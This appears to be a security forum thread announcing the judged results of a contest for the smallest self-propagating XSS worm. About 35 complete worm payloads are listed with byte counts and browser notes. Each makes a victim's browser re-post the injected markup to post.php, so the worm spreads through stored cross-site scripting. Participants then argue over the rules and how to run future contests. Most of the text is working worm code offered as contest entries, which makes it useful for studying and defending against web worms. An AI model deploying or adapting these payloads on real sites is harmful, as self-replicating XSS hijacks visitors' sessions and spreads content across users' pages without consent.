Okay, Geez, this was a nightmare to test - but it looks like we do have a winner, but it's probably not what you think. Almost every one of these vectors failed to work in IE7.0 (if they worked at all). A huge percentage broke various rules, or grew even if they did work. Lots didn't work on pages with no other content. Others double encoded, or sent the wrong encoding in Firefox via XMLHttpRequest (lots of those, actually). So instead of just checking one or two, I actually had to check all of them to see what happened, which ended up taking a looot longer. I had to make a few judgment calls since I was seeing the same things over and over again, but you should be able to see for yourself if you have any specific questions.

Weirdly enough, we had a two way tie (as far as I can tell because there was so much noise in this thread). It's made equally complex by the fact that the vectors are almost identical. So the winners are *drumroll* ma1's vector and sirdarckcat's vector:

Both were a stunningly small 161 bytes! Congrats to both of the guys and a huge round of applause to everyone who submitted results. I was completely shocked by the results, as I thought we'd land at a much smaller number, but I think that was muddied by the fact that many people couldn't test their code in IE7.0.

And for those who want to see how the rest of the results panned out here are the judge results (feel free to contest them - it was a ton of work going through them so I _may_ have made errors):

sdc - 160 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><img src="" onerror="with(i=parentNode)action=(method='post')+'.php',submit(i[0].value='<form>'+innerHTML.slice(alert('XSS'),154))">

ma1 - 165 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><img src="" onerror="with(i=parentNode)action=(method='post').concat('.php'),i[0].value='<form>'.concat(innerHTML),submit(alert('XSS'))">

.mario -154 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><iframe onload="with(_=parentNode)alert('XSS',submit(_[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',148)))"

Ronald - 147 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><iframe onload="i=parentNode;i.action=(i.method='post')+'.php';i[0].value='<form>'+i.innerHTML;i.submit(alert('XSS'))">

sdc - 149 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><img src="" onerror="with(i=parentNode)action=(method='post')+'.php',i[0].value='<form>'+innerHTML,submit(alert('XSS'))">

Gareth - 148 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit(alert('XSS',f.action=(f.method='post')+'.php'))">;

Ronald - 152 Works in FF with no growth but doesn't work in IE7.0
<form><input name='content'><img src='' onerror="i=parentNode;i.action=(i.method='post')+'.php';i[0].value='<form>'+i.innerHTML;i.submit(alert('XSS'))">

gareth - 209 Works in FF with no growth but doesn't work in IE7.0
<img src="" onerror="alert('XSS');appendChild(cloneNode(0));i=innerHTML;with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('content='+i)">

ma1 - 209 Works in FF with no growth but doesn't work in IE7.0
<b><iframe onload="with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('content=<b>'.concat(parentNode.innerHTML.slice(alert('XSS'),206)))"

gareth - 188 Works in FF with no growth but doesn't work in IE7.0
<img src="" onerror="appendChild(cloneNode(0));i=innerHTML;with(appendChild(createElement('form')))submit(alert('XSS'),innerHTML='<textarea name=content>'+i,action=(method='post')+'.php')">

gareth - 153 Works in FF with no growth but doesn't work in IE7.0
<form><img src="" onerror="(f=parentNode)[0].value='<form>'+f.innerHTML;with(f)submit(alert('XSS',action=(method='post')+'.php'))"><input name="content">

ronald - 152 Works in FF with no growth but doesn't work in IE7.0
<form><input name='content'><img src='' onerror="i=parentNode;i.action=(i.method='post')+'.php';i[0].value='<form>'+i.innerHTML;i.submit(alert('XSS'))">

gareth - 204 Works in FF with no growth but doesn't work in IE7.0
_<script>c=(d=document).body.innerHTML.match(/_<.*/)+'\n';with(d.body.appendChild(d.createElement('form')))submit(alert('XSS',innerHTML='<textarea name=content>'+c,action=(method='post')+'.php'))</script>

gareth - 160 Works in FF with no growth but doesn't work in IE7.0
<form><input onerror="i=this;with(form)submit(alert('XSS',i.value='<form>'+innerHTML,i.type=action=(method='post')+'.php'))" name="content" src="" type="image">

sdc - 154 (via ma1/.mario) Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><iframe onload="with(_=parentNode)alert('XSS',submit(_[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',148)))"

.mario (via ma1) - 154 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><iframe onload="with(_=parentNode)alert('XSS',submit(_[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',148)))"

ma1 - 155 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><iframe onload="with(_=parentNode)alert('XSS',submit(_[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',149)))">

bwb labs - 255 Works in both FF and IE7.0!!!
<script>eval(y="alert('XSS');q=unescape('%22');with(new XMLHttpRequest()){open('POST','post.php');setRequestHeader('content-Type','application/x-www-form-urlencoded');send('content='+encodeURIComponent('<script>eval(y='+q+y+q+')</sc'+'ript>'))}")</script>

.mario - 159 Works in FF with no growth but doesn't work in IE7.0
<form><img onerror="with(i=parentNode)alert('XSS',submit(i[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',153)))" src="x"><input name="content"

ma1 (via gareth) - Works in FF but grows and stops working in IE7.0
<form><input name="content" onmousemove="submit(action=(method='post')+'.php',value='<form>'+form.innerHTML.slice(alert('XSS'),128))">

dbloom - 252 Posts to the wrong page (resides in the same directory)
<body onfocus=with(document)[c=["%3"]+"E",body.innerHTML=unescape("<form\tmethod=post\taction=/post.php"+c+"<textarea\tname=content"+c+"<body\tonfocus="+(onfocus+c).replace(/[\s\x7B\x7D\x3B]|^[^\)]*\)/g,"")+"</body"+c),forms[0].submit(),alert("xss")]>

sdc - 160 Works in FF with no growth but doesn't work in IE7.0
<form><INPUT name="content"><IMG src="" onerror="with(z=parentNode)submit(action=(method='post')+'.php',z[0].value='<form>'+innerHTML.slice(alert('XSS'),154))">

.mario - 171 Works in FF with no growth and works in IE and actually shrinks!!!
<b><img onerror="alert('xss');with(i)content.value=parentNode.innerHTML.bold(),submit()" src="m"><form id="i" action="post" method="post"><input name="content"></form></b>

bwb labs - 266 Works in FF with no growth and IE!!!
<script>eval(y="alert('XSS');q=String.fromCharCode(34);(x=new XMLHttpRequest()).open('POST','post.php');x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send('content='+encodeURIComponent('<script>eval(y='+q+y+q+')</sc'+'ript>'))")</script>

ma1 - 161 Works in FF with no growth then shrinks and then regrows to the same size in IE7.0!!!
<form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',155)))">

sdc - 161 Works in FF with no growth then shrinks and then regrows to the same size in IE7.0!!!
<form><INPUT name="content"><IMG src="" onerror="with(parentNode)submit(action=(method='post')+'.php',content.value='<form>'+innerHTML.slice(alert('XSS'),155))">

ma1 - 164 (works with opera and safari also) Works in FF with no growth then shrinks and then regrows to the same size in IE7.0!!!
<form><INPUT name="content"><IMG src="/" onerror="with(parentNode)alert('XSS',submit(action=(method='post')+'.php',content.value='<form>'+innerHTML.slice(0,158)))">

ma1 - 163 Works in FF with no growth then shrinks and then regrows to the same size in IE7.0!!!
<form><INPUT name="content"><IMG src="" onerror="with(parentNode)alert('XSS',submit(action=(method='post')+'.php',content.value='<form>'+innerHTML.slice(0,157)))">

barbarianbob - 171 Works in FF with no growth but doesn't work in IE7.0
<b><form id="f"><input name="content"><img src="" onerror="with(f)submit(alert('xss'),content.value=parentNode.innerHTML.bold(),action=(method='post')+'.php')"></form></b>

gareth - 167 Doesn't work in Firefox 2.0.0.11 (double encoded) if you remove escape it shrinks, but does not work in IE7.0
<form><input name=content type=image onerror="f=form;i=f.innerHTML;type='hidden';alert('XSS');f.action=(f.method='post')+'.php';value=escape('<form>'+i);submit()" src>

ritz - 162 Works in FF with no growth but does not work in IE7.0
<form><input name="content" src="" onerror="alert('xss');p=form;p.action=(p.method='post')+'.php';value='<form>'+p.innerHTML.substr(0,155);click()" type="image">

sdc (barbarianbob) - 178 Works in FF with no growth but stops working in IE7.0 after first iteration
<b><form action="post.php" method="post"><img src="." onerror="alert('xss');with(parentNode)content.value=parentNode.innerHTML.bold(),submit()"><input name="content"></form></b>

ma1 - 181 Works in FF with no growth and shrinks in IE7.0!!!
<b><img onerror="alert('xss');with(this.nextSibling)content.value=parentNode.innerHTML.bold(),action=(method='post')+'.php',submit()" src=""><form><input name="content"></form></b>

ritz - 187 Works in FF with no growth and shrinks in IE7.0!!!
<b><img src="." onerror="alert('xss');with(this.nextSibling)firstChild.value=parentNode.innerHTML.bold(),submit()"><form method="post" action="post.php"><input name="content"></form></b>

It required user interaction but then on the second propagation it didn't... it was closer than a lot of others of it's kind. Anyway, don't take my comments to heart, it was more so I could keep them straight in my head. I have no idea how many worms that ended up being but I was getting pretty tired about half way through it.

I don't blame you :), it's a lotta worm for one guy to handle. Anyway, maybe you should post the traffic log of this board, to compare traffic before and during the contest :P. The amount of views and posts is ridiculous!

Quote .mario -154 Works in FF with no growth but doesn't work in IE7.0
<form><input name="content"><iframe onload="with(_=parentNode)alert('XSS',submit(_[0].value='<form>'+innerHTML.slice(action=(method='post')+'.php',148)))"

huh? i tested several time - in how far does this one (and several other slice-using ones) not work on IE7?

.mario - maybe you need something around your worm to start it? I started it on a blank page other than the worm (to simulate both - must propagate in both environments, with and without content on the page). Maybe that has something to do with it?

WTF!? It was never said to make the worm work on a blank site - otherwise we all could have used the <form id=m>with(m) option (equals quirksmode) - sure the worm needs at least a body tag to work - if this wasn't supposed to be it should have been mentioned (parentNode throws an error w/o body tag - what a wonder! I think we discussed way more circumstantial stuff in this thread...

it was discussed a number of times in the thread that the worm should be able to run with no other code on the page other then itself.

rsnake also stated that url decoding would occur meaning the + would have been converted to blank spaces which on my test rig also made yours fail (which was later recanted).

eitherway, don't take it to heart, nobody got a prize, its was all for shits and giggles and we probably all learnt something on the way and it there was 1 lesson to learn from this episode is that we all work together to define competition rules before we actually start the next competition... oh and we should have 1 unique url to test our code.

@.mario - I think this falls under the "must not use knowledge of the DOM unless you name a class or and id and use the class or id. No looking for the n-th script on the page as that will change from site to site". Maybe I wasn't clear about this, but I thought I had made it clear that you shouldn't rely on anything (hence the DOCTYPE discussion and body=onload discussions - where you never know what's going to be on the page.

@Spyware - this is applicable is things like response splitting (granted that's not very often stored XSS, unless you are talking about injecting into proxies).

I hope no one got hurt over this, the whole point of the contest was to get diminutive worms. We have a winner that fit the criteria and many others who fit in other use cases. That's not a bad thing IMHO.

It will be an infinite loop for you, unless the worm uses XMLHttpRequest. The point isn't so much that it's quiet, but that it propagates. It posts itself to post.php which would then be viewed by someone else, and so on. We are using reflected XSS as an example but in reality it would be stored. So if you were the victim you'd start on some one else's view.php which had the vector, which posted to post.php which would then put that vector on your version of view.php and someone else would view it and post it to theirs and so on. Make sense?

Works in my FF2 & IE7 on the judge page. It's a surprising vector that works (on these two browsers). Lucky thing that the encoding isn't a problem (so just avoiding &+ seems to be enough). Note: both Opera 9.5 & Safari 3.0.4 translate the <b> in the innerHTML to &gt;b&lt; which's breaking the slice.

All in all I really enjoyed the contest and it was great to compete with some fantastic coders :) More please!!!

There were a couple of issues though which I'd like to point out:-
1. Rules should be static and discussed before the contest begins.
2. 2 Forums should be used 1 for discussion and 1 for entry.
3. The entry forum should only allow 1 post per user and the user updates their post with multiple entries.
4. A demo testing site should be created which allows a coder to test for the rules.
5. Time limit should be decreased to help the hackaholics.
6. Mario won. :P

The worm had to run standalone because the next page (post.php) could be doctypeless and only a simple PHP page where any doctype sensitive worm would perish. e.g. like I said a dozen times: only #ID selectors would fail as a worm, so that ruled out 80% of all vectors.

@RSnake

Since the rules were as least to say 'vague' this thread could have been about 40% smaller IMO, so don't blame us for the faulty vectors, it was due to absent /incomplete rules c.q. faulty interpetations, largely hardly our coding mistake, with a few exceptions that is.

But that's impossible due to the + which becomes a space, I hope you considered the + issue in combination with innerHTML?
for brevity, is important that one checks the response one get from the post.php page.

@Gareth: I definitely like your ideas for the next contest - although I think it'd be difficult to mod phorum to just allow one submission per user for certain threads. Also it would lead to the problem that everyone submits five minutes before the contest ends. Plus the learning effect would be narrowed. (can we automatically apply suggestion 6 next time? *g*)

@Ronald: I partially agree. No DOCTYPE: Yes! But: The problem was that the rule that no body tag needs to be existent wasn't communicated clearly enough. It was kind of given by the 'no DOM knowledge rule' but hard to interpret.

@bwb labs - I may have quickly skimmed over a few of those because of the src=. (I didn't see you were sending the period through XHR). Whoops! I was trying to eyeball some of them to speed up the testing process (it took me four hours to test the nearly 200 submissions!).

@Gareth - I completely agree with the future way to run this contest (live and learn). I honestly wasn't expecting quite this flurry. I was expecting maybe five or ten posts total. I had no idea so many people would get into this. And yes, I agree, in _most_ circumstances, .mario did win. I sent him an email to say as much too. Had I been more clear I think we would have ended up with a different vector too! But that's all a side effect of the real goal of this challenge (to get some sample worm code without the garbage) and that we did!

@Ronald - I may have missed that (can't test from here due to my stupid cut and paste problem). I did check the responses, but I also had over 200 worms to test, so I may have missed a few small issues here or there.

@.mario - Thanks for understanding, you definitely pushed the envelope in this contest, and I have no doubt you would have had one of the top submissions had I been more clear with the rules.

@Gareth Heyes - regarding that code, what if there is no body (nothing but the code)?